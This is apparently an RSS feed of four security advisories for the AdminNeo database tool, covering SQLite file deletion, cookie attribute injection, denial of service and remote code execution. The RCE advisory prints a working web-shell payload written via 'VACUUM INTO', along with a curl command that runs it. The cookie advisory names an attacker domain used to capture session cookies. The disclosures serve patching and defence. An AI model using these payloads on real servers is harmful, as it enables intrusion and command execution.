<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>VulnFeed.org: adminneo-org/adminneo</title><link>https://vulnfeed.org/</link><description>Every disclosure, as it lands. Critical-only feed available.</description><language>en</language><atom:link href="https://vulnfeed.org/feed/product/adminneo-org-adminneo.xml" rel="self" type="application/rss+xml"/><item><title>CVE-2026-96633: AdminNeo SQLite Database-List Drop Arbitrary File Deletion</title><link>https://vulnfeed.org/cve/CVE-2026-96633/</link><guid isPermaLink="true">https://vulnfeed.org/cve/CVE-2026-96633/</guid><pubDate>Fri, 30 Oct 2026 22:52:58 +0000</pubDate><description>## Summary AdminNeo allows an authenticated SQLite-mode user to delete arbitrary files writable by the PHP process through the database-list drop action. The SQLite driver validates file extensions when creating or renaming databases, but the database-list drop path passes submitted `db[]` values directly to `unlink()`. Originally reported by @slpoiuewalspoid-dotcom in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-6pg3-chwq-wgqc ## Impact An authenticated AdminNeo SQLite user with a valid CSRF token can submit an arbitrary relative file path in the database-list `db[]` field. If the PHP process can delete that path, AdminNeo unlinks it even when the file is not a SQLite database. ## Root Cause The database-list page accepts selected database names from the POST body and calls `drop_databases()`: ```php if ($_POST[&quot;db&quot;]) { queries_redirect(substr(ME, 0, -1), lang(&apos;Databases have been dropped.&apos;), drop_databases($_POST[&quot;db&quot;])); } ``` In SQLite mode, `drop_databases()` attaches an in-memory database and unlinks each submitted path directly: ```php function drop_databases($databases): bool { Connection::get()-&gt;close(); // to unlock file, doesn&apos;t work in PDO on Windows foreach ($databases as $db) { if (!@unlink($db)) { Connection::get()-&gt;setError(lang(&apos;File exists.&apos;)); return false; } } return true; } ``` The same SQLite driver protects create and rename operations with `check_sqlite_name()`, which requires a `.db`, `.sdb`, or `.sqlite` extension: ```php function check_sqlite_name($name) { // avoid creating PHP files on unsecured servers $extensions = &quot;db|sdb|sqlite&quot;; if (!preg_match(&quot;~^[^\\0]*\\.($extensions)\$~&quot;, $name)) { Connection::get()-&gt;setError(lang(&apos;Please use one of the extensions %s.&apos;, str_replace(&quot;|&quot;, &quot;, &quot;, $extensions))); return false; } return true; } ``` The drop path does not apply an equivalent extension check or bind the submitted path to a known listed SQLite database. ## POC ### 1. Start a complete AdminNeo application Build and s…</description></item><item><title>CVE-2026-96631: AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers</title><link>https://vulnfeed.org/cve/CVE-2026-96631/</link><guid isPermaLink="true">https://vulnfeed.org/cve/CVE-2026-96631/</guid><pubDate>Fri, 30 Oct 2026 22:52:47 +0000</pubDate><description>### Summary AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo. This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim&apos;s browser to send AdminNeo&apos;s `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker&apos;s server on subsequent requests. Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h ### Vulnerable Code **Root cause 1 - Unsanitized header prepended to `REQUEST_URI`** (`admin/include/bootstrap.inc.php`, lines 50–52): ```php if ($_SERVER[&quot;HTTP_X_FORWARDED_PREFIX&quot;]) { $_SERVER[&quot;REQUEST_URI&quot;] = $_SERVER[&quot;HTTP_X_FORWARDED_PREFIX&quot;] . $_SERVER[&quot;REQUEST_URI&quot;]; } ``` The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes). **Root cause 2 - Manual `Set-Cookie `header construction without escaping** (`admin/include/functions.inc.php`, lines 416–424): ```php function cookie(string $name, string $value, int $lifetime = 2592000): void { header(&quot;Set-Cookie: $name=&quot; . rawurlencode($value) . ($lifetime ? &quot;; expires=&quot; . gmdate(&quot;D, d M Y H:i:s&quot;, time() + $lifetime) . &quot; GMT&quot; : &quot;&quot;) . &quot;; path=&quot; . preg_replace(&apos;~\?.*~&apos;, &apos;&apos;, $_SERVER[&quot;REQUEST_URI&quot;]) . (HTTPS ? &quot;; secure&quot; : &quot;&quot;) . &quot;; HttpOnly; SameSite=lax&quot;, false); } ``` The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or es…</description></item><item><title>CVE-2026-96630: AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)</title><link>https://vulnfeed.org/cve/CVE-2026-96630/</link><guid isPermaLink="true">https://vulnfeed.org/cve/CVE-2026-96630/</guid><pubDate>Fri, 30 Oct 2026 22:51:37 +0000</pubDate><description>## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == &quot;sqlite&quot; &amp;&amp; preg_match(&quot;~^$space*+ATTACH\\b~i&quot;, $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE &quot;&lt;?php system($_GET[&apos;c&apos;]); ?&gt;&quot; (i int); VACUUM INTO &apos;/var/www/html/shell.php&apos;; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `&lt;?php` appears as raw bytes in the file. PHP&apos;s parser finds and executes it. ### 3. Execute commands ```shell curl &quot;http://TARGET/shell.php?c=id&quot; # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!</description></item><item><title>CVE-2026-59978: AdminNeo: version-cache array injection causes persistent denial of service</title><link>https://vulnfeed.org/cve/CVE-2026-59978/</link><guid isPermaLink="true">https://vulnfeed.org/cve/CVE-2026-59978/</guid><pubDate>Fri, 30 Oct 2026 18:53:08 +0000</pubDate><description>### Summary AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours. Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted. ### Workaround If you can&apos;t upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details #### 1. Intended design of `?script=version` The endpoint is designed to receive version data from GitHub via browser JavaScript. - `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to `?script=version`. - Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours. ```js // function.js lines 119-120 const data = &apos;version=&apos; + version + &apos;&amp;token=&apos; + token; ajax(baseUrl + &apos;script=version&apos;, null, data); ``` #### 2. The vulnerability The endpoint only checks `$_GET[&quot;script&quot;] == &quot;version&quot;` - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php lines 44-53 if ($_GET[&quot;script&quot;] == &quot;version&quot;) { $filename = get_temp_dir() . &quot;/adminneo.version&quot;; @unlink($filename); // It may not be writable by us, @ - it may not exist. $file = open_file_with_lo…</description></item></channel></rss>
